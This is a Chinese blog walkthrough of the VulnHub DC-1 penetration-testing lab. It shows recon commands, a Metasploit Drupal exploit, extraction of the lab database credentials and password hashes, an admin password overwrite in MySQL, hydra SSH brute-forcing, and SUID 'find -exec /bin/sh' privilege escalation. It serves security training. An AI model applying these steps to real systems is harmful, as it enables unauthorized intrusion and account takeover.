"感谢您阅读本篇博客!如果您觉得本文对您有所帮助或启发,请不吝点赞和分享给更多的朋友。您的支持是我持续创作的动力,也欢迎留言交流,让我们一起探讨技术,共同成长!谢谢!"

文章为速通版,缺少图片和描述,适合知晓渗透流程基础的学习者进行巩固和学习,以复现渗透流程为主,如对你有帮助请多多点赞收藏,你的支持是对我创作最大的动力!

0X01 环境准备

DC-1靶场机

官网下载 https://download.vulnhub.com/dc/DC-1.zip

下载解压后得到 .ova文件,右键导入虚拟机即可,网络连接方式选择和Kali攻击机同一模式,二者需要处于同一网段,要么都是桥接要么都是Net,这样才能Kali才能扫出DC的主机IP

开启 Kali 和 DC靶机,确保二者互相可以ping通,Kali地址根据命令可以查找到,但是DC靶机我们是没有画面的,只是开启了一个环境,我们可以在虚拟机的设置里面找到

根据步骤记录下地址,我们这里的地址为 00:0C:29:16:B4:05

Kali攻击机中使用命令探测到主机并且确定了DC靶机的IP地址为 192.168.65.149

arp-scan -l  // 探测当前网段下所有主机

Kali和攻击机之间可以Ping通环境准备完成

0X02 前期信息收集

确定IP

kali: 192.168.65.148
DC1 : 192.168.65.149 arp-scan -l: 扫网段同一网段内的主机确定DC靶场的IP地址 通过前面看Kali网段的设置得出靶机IP地址 DC1 : 192.168.65.149

扫描端口服务

nmap -sV -p- 192.168.65.149

-sV 参数表示进行版本探测,-p- 参数表示扫描所有端口

Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-30 21:44 CST
Nmap scan report for 192.168.65.149
Host is up (0.0011s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Debian)) // 版本信息
111/tcp open rpcbind 2-4 (RPC #100000)
32990/tcp open status 1 (RPC #100024)

访问80端口开始渗透

whatweb -v 192.168.120.128  // 扫描指纹为cms找day打,也可以是Wappy插件

0X03 MSF渗透寻找day

msfconsole  // 打开msf

search drupal  // 寻找历史漏洞

uer 1  // 选择最新的漏洞 18年的也就是模块2

show options // 查看各模块参数

  • Current Setting是目前设置的内容
  • Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置
  • 就上面来说RHOSTS需要set,但是没有内容
set lhosts 192.168.65.149   // 设置靶机受攻击的IP 其余默认就可以默认是80端口

run  // 开始攻击

响应显示已经建立连接也就是攻击成功

shell // 拿到shell

ls   // 列出所有文件

终端面板影响代码输入,使用python实现交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'  // 交互式shell 前提机器装有python

tac flag1.txt // 查看flag1.txt 第一个靶标内容

flag1.txt:

Every good CMS needs a config file - and so do you  // 给出提示
每一个好的CMS都需要一个配置文件你也一样 ------------------------------ find / -name flag* // 在整个文件系统中查找文件名以 flage开头的目录或者文件 find 是一个强大的命令行工具,用于在文件系统中查找文件和目录。
/ 表示从根目录开始查找
-name 参数指定了要查找的文件名模式
"flag" 开头的文件名
* 是通配符,表示匹配任意字符。

flag1.txt 未发现有价值的信息,百度Drupalcms配置文件,知晓settings.php

cat `find / -name settings.php`  // 打开配置文件

得出数据库相关信息,账户密码尝试登录数据库

mysql -udbuser -pR0ck3t   // -u 表示用户名 -p 密码

use drupaldb // 切换数据库

show tables;  // 列出所有表寻找flag

发现列出的表中存在users和用户相关的表

select * from users

得到两个用户,并且密码不是明文,方法1是修改admin的密码 方法2添加一个新的用户

admin:  pass $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
Fred : pass $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg

0X04 渗透MySQL数据库

修改admin用户密码

思路

  • 找到加密脚本文件
  • 加密我们自定义设置的密码
  • 得出加密数据回到数据中进行替换
  • 使用修改过后的密码登录进

Drupal的加密脚本位置

/var/www/scripts/password-hash.sh

回到数据库首先退出,回到shell状态下读取 .sh加密脚本设置我们的密码,脚本是PHP语言编写,使用PHP加参数就可以运行,直接得到数字123456(密码)加密后的数据

exit  // 退出数据库

php /var/www/scripts/password-hash.sh 123456   

-------------------------------------------------

密码加密后的值: $S$DGlF6YaIytT1SPH8h/93JqpZm6vkFTqj2qGrgeOOEcY8A0wrLhxE

得出新的admin的密码后,又开始重复步骤,登录数据库,使用数据库语句修改指定表指定字段中的值,修改密码为我们123456加密后的值

mysql -udbuser -pR0ck3t

use drupaldb;  // 切换数据库

// or 修改 admin 和 Fred 密码
update users set pass = "$S$D1UQvb3x7lKoCSX6S9K.r.wB202Lsa/r7fkOj7CelJsSEMFDJjGv" where name = 'admin' or name = 'Fred';

使用修改后的密码成功登录网站

user : admin
pass : 123456

0X05 Linux爆破

flag3同样给出了提示信息passwdshadow,明显就是linux的文件

/etc/passwd

该文件存储了系统用户的基本信息,所有用户都可以对其进行文件操作读

/etc/shadow

该文件存储了系统用户的密码等信息,只有root权限用户才能读取

回到终端,退出数据库,使用命令查看提示文件

exit

tac /etc/passwd  // 查看用户信息

flag4这个用户非常可疑,我们有两个方法拿到这个用户的密码,一个是爆破,另一个就是提权打开shadow文件查看密码

使用Kali自带的Hydra 密码爆破工具进行爆破用户密码,这里需要在Kali下进行操作,为了不和已经建立的shell断开,直接重开一个终端即可,目录就还是在(saber㉿kali)-[~/桌面]

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.65.149

-l flae4: 指定爆破用户名
-P :指定了爆破的密码字典列表
ssh: 目标IP地址

爆破成功用户flag4 密码为orange

使用kali进行连接到这个地址的用户flag4,输入命令后因为你第一次连接到一个 SSH 服务器时,你的 SSH 客户端会显示主机的真实性,并要求你确认后才能继续连接,我们输入YES即可,而后输入上文爆破出的密码成功建立连接

ssh 用户名@目标攻击主机

ssh flag4@192.168.120.128  // IP就是目标地址

flag4用户目录下访问flag4.txt文件,同样也是提示的意思

cat flag4.txt

----------------------------------

Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy.  Or maybe it is?

你能用同样的方法找到还是访问根中的标志?可能吧。但也许没那么容易。或者可能是?

需要SUID提权,利用find命令,找查具有SUID权限的可执行二进制文件,不太了解释的可以看下这篇文章 简谈SUID提权

查找具有 Setuid 权限的文件
Setuid 权限是一种特殊的权限,允许普通用户以拥有该文件所有者的权限来执行该文件。 find / -perm -u=s -type f 2>/dev/null -------------------------------------------------------- find:用于在文件系统中搜索文件和目录。
/:指定搜索的起始路径为根目录,也就是整个文件系统。
-perm -u=s:指定要搜索的文件权限。
-perm 选项用于匹配指定的权限,
-u 表示用户权限,s 表示 Setuid 权限。因此,-perm -u=s 表示搜索具有 Setuid 权限的文件 -type f:指定要搜索的文件类型为普通文件 2>/dev/null:将错误输出重定向到 /dev/null,这样可以隐藏搜索过程中产生的错误信息

在文件系统中查找名为 "index.php" 的文件,并在找到的每个文件上执行 "/bin/sh" 命令

find / -name index.php -exec "/bin/sh" \;

----------------------------------------------------------

find:用于在文件系统中搜索文件和目录。
/:指定搜索的起始路径为根目录,也就是整个文件系统。
-name index.php:指定要搜索的文件名为 "index.php"。
-exec:用于在找到的每个文件上执行指定的命令。
"/bin/sh":要执行的命令是 "/bin/sh",它是一个常见的 Unix/Linux shell。
\;:表示命令的结束。

输入命令后莫名其妙提权成功,提权不太明白需要后续补充,但是需要知道执行上述的命令是可以成功的

列出文件读取flag完成关卡

cd / root    // 切换目录

ls  //  列出所有文件

cat thefinalflag.txt   //读取flag 

Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7 完成了!!!
希望你已经享受了这一点,并学到了一些新的技能

DC-1渗透靶场实战速通版的更多相关文章

  1. DVWA靶场实战(十)——XSS(DOM)

    DVWA靶场实战(十) 五.XSS(DOM): 1.漏洞原理: XSS全称为Cross Site Scripting,由于和层叠样式表(Cascading Style Sheets,CSS)重名,所以 ...

  2. Lucene实战(第2版)》

    <Lucene实战(第2版)>基于Apache的Lucene 3.0,从Lucene核心.Lucene应用.案例分析3个方面详细系统地介绍了Lucene,包括认识Lucene.建立索引.为 ...

  3. 模仿天猫实战【SSM版】——后台开发

    上一篇文章链接:模仿天猫实战[SSM版]--项目起步 后台需求分析 在开始码代码之前,还是需要先清楚自己要做什么事情,后台具体需要实现哪些功能: 注意: 订单.用户.订单.推荐链接均不提供增删的功能. ...

  4. 轻量级JAVA+EE企业应用实战(第4版)pdf电子书和源码的免费下载链接

    轻量级JAVA+EE企业应用实战(第4版)pdf电子书和源码的免费下载链接: pdf链接:https://pan.baidu.com/s/1dYIWtsv2haL4v7vx3w-8WQ 无提取密码源码 ...

  5. HTML5 Canvas游戏开发实战 PDF扫描版

    HTML5 Canvas游戏开发实战主要讲解使用HTML5 Canvas来开发和设计各类常见游戏的思路和技巧,在介绍HTML5 Canvas相关特性的同时,还通过游戏开发实例深入剖析了其内在原理,让读 ...

  6. HTML5移动Web开发实战 PDF扫描版​

    <HTML5移动Web开发实战>提供了应对这一挑战的解决方案.通过阅读本书,你将了解如何有效地利用最新的HTML5的那些针对移动网站的功能,横跨多个移动平台.全书共分10章,从移动Web. ...

  7. Spring实战(第4版).pdf - 百度云资源

    http://www.supan.vip/spring%E5%AE%9E%E6%88%98 Spring实战(第4版).pdf 关于本书 Spring框架是以简化Java EE应用程序的开发为目标而创 ...

  8. Go并发编程实战 第2版 PDF (中文版带书签)

    Go并发编程实战 第2版 目录 第1章 初识Go语言 1 1.1 语言特性 1 1.2 安装和设置 2 1.3 工程结构 3 1.3.1 工作区 3 1.3.2 GOPATH 4 1.3.3 源码文件 ...

  9. 澎湃新闻速览版UWP 隐私策略

    ThePaper UWP 此为 澎湃新闻速览版 的隐私策略,本隐私策略内容会不定期更新,以最新内容为主. 若您已经阅读并了解以下内容后,并继续使用该软件,即表示您已同意该协议. 内容: 这是澎湃新闻的 ...

  10. 将Spring实战第5版中Spring HATEOAS部分代码迁移到Spring HATEOAS 1.0

    最近在阅读Spring实战第五版中文版,书中第6章关于Spring HATEOAS部分代码使用的是Spring HATEOAS 0.25的版本,而最新的Spring HATEOAS 1.0对旧版的AP ...

随机推荐

  1. 基于泰凌微TLSR8355的无线灯光智能控制系统解决方案调试总结

    前记  随着新技术的不断发展,在灯控市场.使用无线和传感器技术让灯的利用变得更加环保和智能是一个相对时尚的选择.最近跟几个客户做了一些此类的产品.发掘了一些有趣的功能和应用.这里做一个梳理. 特色梳理 ...

  2. 风控规则引擎(一):Java 动态脚本

    风控规则引擎(一):Java 动态脚本 日常场景 共享单车会根据微信分或者芝麻分来判断是否交押金 汽车租赁公司也会根据微信分或者芝麻分来判断是否交押金 在一些外卖 APP 都会提供根据你的信用等级来发 ...

  3. 安装YCM

    安装Vundle git clone https://github.com/VundleVim/Vundle.vim.git ~/.vim/bundle/Vundle.vim Vundle也是vim的 ...

  4. Linux Daemon & 单例模式 设计与实现

    PS:要转载请注明出处,本人版权所有. PS: 这个只是基于<我自己>的理解, 如果和你的原则及想法相冲突,请谅解,勿喷. 前置说明   本文作为本人csdn blog的主站的备份.(Bl ...

  5. 专访|3DCAT如何赋能Matterverse打造3A游戏画面的Sandbox

    元宇宙概念自20世纪90年代创造,在21世纪经历20年快速塑形,终于在2021年进入元年,元宇宙概念爆发,受到政府.机构.企业以及网民的高度关注,资本市场一度高涨,相关投资赛道大热. 元宇宙第一股Ro ...

  6. multisim的操作回顾

    multisim的操作回顾 1.写在前面 multisim的仿真功能还是强大的,能够有效地实现对电路功能的验证.但是,不能全局搜索器件是个大问题.对于不熟悉器件的基本分类的人来说,一排的分类足以浪费大 ...

  7. KingbaseES V8R6运维案例之---pg_statistic toast表故障修复

    ​ 案例说明: 数据库在日常的维护过程中,执行表结构查询语句(\d t1),如下图所示,出现"missing chunk number 0 for toast value 16259 in ...

  8. Unit 1 Computer hardware【石家庄铁道大学-专业英语课程复习资料】

    Unit 1 Computer hardware 1.Introduction of computer A computer is a machine that can be instructed t ...

  9. 使用OHOS SDK构建libjpeg-turbo

    参照OHOS IDE和SDK的安装方法配置好开发环境. 从github下载源码. 执行如下命令: git clone --depth=1 https://github.com/libjpeg-turb ...

  10. OpenHarmony Meetup北京站招募令

    OpenHarmony Meetup城市巡回北京站火热来袭!!日期:2023年11月25日14:00地点:中国科学院软件园区五号楼B402与OpenHarmony技术大咖近距离互动,分享技术见解,结交 ...